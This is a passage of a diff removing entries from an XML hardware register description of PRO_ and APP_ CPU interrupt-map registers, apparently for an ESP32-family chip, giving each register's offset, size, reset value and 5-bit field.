-          <addressOffset>0x164</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CPU_INTR_FROM_CPU_0_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_INTR_FROM_CPU_1_MAP</name>
-          <addressOffset>0x168</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CPU_INTR_FROM_CPU_1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_INTR_FROM_CPU_2_MAP</name>
-          <addressOffset>0x16C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CPU_INTR_FROM_CPU_2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CPU_INTR_FROM_CPU_3_MAP</name>
-          <addressOffset>0x170</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CPU_INTR_FROM_CPU_3_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI_INTR_0_MAP</name>
-          <addressOffset>0x174</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI_INTR_0_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI_INTR_1_MAP</name>
-          <addressOffset>0x178</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI_INTR_1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI_INTR_2_MAP</name>
-          <addressOffset>0x17C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI_INTR_2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI_INTR_3_MAP</name>
-          <addressOffset>0x180</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI_INTR_3_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_I2S0_INT_MAP</name>
-          <addressOffset>0x184</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_I2S0_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_I2S1_INT_MAP</name>
-          <addressOffset>0x188</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_I2S1_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_UART_INTR_MAP</name>
-          <addressOffset>0x18C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_UART_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_UART1_INTR_MAP</name>
-          <addressOffset>0x190</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_UART1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_UART2_INTR_MAP</name>
-          <addressOffset>0x194</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_UART2_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SDIO_HOST_INTERRUPT_MAP</name>
-          <addressOffset>0x198</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SDIO_HOST_INTERRUPT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_EMAC_INT_MAP</name>
-          <addressOffset>0x19C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_EMAC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_PWM0_INTR_MAP</name>
-          <addressOffset>0x1A0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_PWM0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_PWM1_INTR_MAP</name>
-          <addressOffset>0x1A4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_PWM1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_PWM2_INTR_MAP</name>
-          <addressOffset>0x1A8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_PWM2_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_PWM3_INTR_MAP</name>
-          <addressOffset>0x1AC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_PWM3_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_LEDC_INT_MAP</name>
-          <addressOffset>0x1B0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_LEDC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_EFUSE_INT_MAP</name>
-          <addressOffset>0x1B4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_EFUSE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CAN_INT_MAP</name>
-          <addressOffset>0x1B8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CAN_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RTC_CORE_INTR_MAP</name>
-          <addressOffset>0x1BC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RTC_CORE_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RMT_INTR_MAP</name>
-          <addressOffset>0x1C0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RMT_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_PCNT_INTR_MAP</name>
-          <addressOffset>0x1C4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_PCNT_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_I2C_EXT0_INTR_MAP</name>
-          <addressOffset>0x1C8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_I2C_EXT0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_I2C_EXT1_INTR_MAP</name>
-          <addressOffset>0x1CC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_I2C_EXT1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_RSA_INTR_MAP</name>
-          <addressOffset>0x1D0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_RSA_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI1_DMA_INT_MAP</name>
-          <addressOffset>0x1D4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI1_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI2_DMA_INT_MAP</name>
-          <addressOffset>0x1D8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI2_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_SPI3_DMA_INT_MAP</name>
-          <addressOffset>0x1DC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_SPI3_DMA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_WDG_INT_MAP</name>
-          <addressOffset>0x1E0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_WDG_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TIMER_INT1_MAP</name>
-          <addressOffset>0x1E4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TIMER_INT1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TIMER_INT2_MAP</name>
-          <addressOffset>0x1E8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TIMER_INT2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_T0_EDGE_INT_MAP</name>
-          <addressOffset>0x1EC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_T0_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_T1_EDGE_INT_MAP</name>
-          <addressOffset>0x1F0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_T1_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_WDT_EDGE_INT_MAP</name>
-          <addressOffset>0x1F4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_WDT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG_LACT_EDGE_INT_MAP</name>
-          <addressOffset>0x1F8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG_LACT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_T0_EDGE_INT_MAP</name>
-          <addressOffset>0x1FC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_T0_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_T1_EDGE_INT_MAP</name>
-          <addressOffset>0x200</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_T1_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_WDT_EDGE_INT_MAP</name>
-          <addressOffset>0x204</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_WDT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TG1_LACT_EDGE_INT_MAP</name>
-          <addressOffset>0x208</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_TG1_LACT_EDGE_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_MMU_IA_INT_MAP</name>
-          <addressOffset>0x20C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_MMU_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_MPU_IA_INT_MAP</name>
-          <addressOffset>0x210</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_MPU_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_IA_INT_MAP</name>
-          <addressOffset>0x214</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CACHE_IA_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_MAC_INTR_MAP</name>
-          <addressOffset>0x218</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_MAC_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_MAC_NMI_MAP</name>
-          <addressOffset>0x21C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_MAC_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_BB_INT_MAP</name>
-          <addressOffset>0x220</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_BB_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_BT_MAC_INT_MAP</name>
-          <addressOffset>0x224</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_BT_MAC_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_BT_BB_INT_MAP</name>
-          <addressOffset>0x228</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_BT_BB_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_BT_BB_NMI_MAP</name>
-          <addressOffset>0x22C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_BT_BB_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RWBT_IRQ_MAP</name>
-          <addressOffset>0x230</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RWBT_IRQ_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RWBLE_IRQ_MAP</name>
-          <addressOffset>0x234</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RWBLE_IRQ_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RWBT_NMI_MAP</name>
-          <addressOffset>0x238</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RWBT_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_RWBLE_NMI_MAP</name>
-          <addressOffset>0x23C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_RWBLE_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SLC0_INTR_MAP</name>
-          <addressOffset>0x240</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SLC0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SLC1_INTR_MAP</name>
-          <addressOffset>0x244</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SLC1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_UHCI0_INTR_MAP</name>
-          <addressOffset>0x248</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_UHCI0_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_UHCI1_INTR_MAP</name>
-          <addressOffset>0x24C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_UHCI1_INTR_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_T0_LEVEL_INT_MAP</name>
-          <addressOffset>0x250</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_T0_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_T1_LEVEL_INT_MAP</name>
-          <addressOffset>0x254</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_T1_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_WDT_LEVEL_INT_MAP</name>
-          <addressOffset>0x258</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_WDT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG_LACT_LEVEL_INT_MAP</name>
-          <addressOffset>0x25C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG_LACT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_T0_LEVEL_INT_MAP</name>
-          <addressOffset>0x260</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_T0_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_T1_LEVEL_INT_MAP</name>
-          <addressOffset>0x264</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_T1_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_WDT_LEVEL_INT_MAP</name>
-          <addressOffset>0x268</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_WDT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TG1_LACT_LEVEL_INT_MAP</name>
-          <addressOffset>0x26C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_TG1_LACT_LEVEL_INT_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_GPIO_INTERRUPT_MAP</name>
-          <addressOffset>0x270</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_GPIO_INTERRUPT_APP_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_GPIO_INTERRUPT_NMI_MAP</name>
-          <addressOffset>0x274</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_GPIO_INTERRUPT_APP_NMI_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_INTR_FROM_CPU_0_MAP</name>
-          <addressOffset>0x278</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CPU_INTR_FROM_CPU_0_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_INTR_FROM_CPU_1_MAP</name>
-          <addressOffset>0x27C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CPU_INTR_FROM_CPU_1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_INTR_FROM_CPU_2_MAP</name>
-          <addressOffset>0x280</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CPU_INTR_FROM_CPU_2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CPU_INTR_FROM_CPU_3_MAP</name>
-          <addressOffset>0x284</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CPU_INTR_FROM_CPU_3_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI_INTR_0_MAP</name>
-          <addressOffset>0x288</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI_INTR_0_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI_INTR_1_MAP</name>
-          <addressOffset>0x28C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI_INTR_1_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI_INTR_2_MAP</name>
-          <addressOffset>0x290</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI_INTR_2_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_SPI_INTR_3_MAP</name>
-          <addressOffset>0x294</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_SPI_INTR_3_MAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_I2S0_INT_MAP</name>
-          <addressOffset>0x298</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_I2S0_INT_MAP</name>
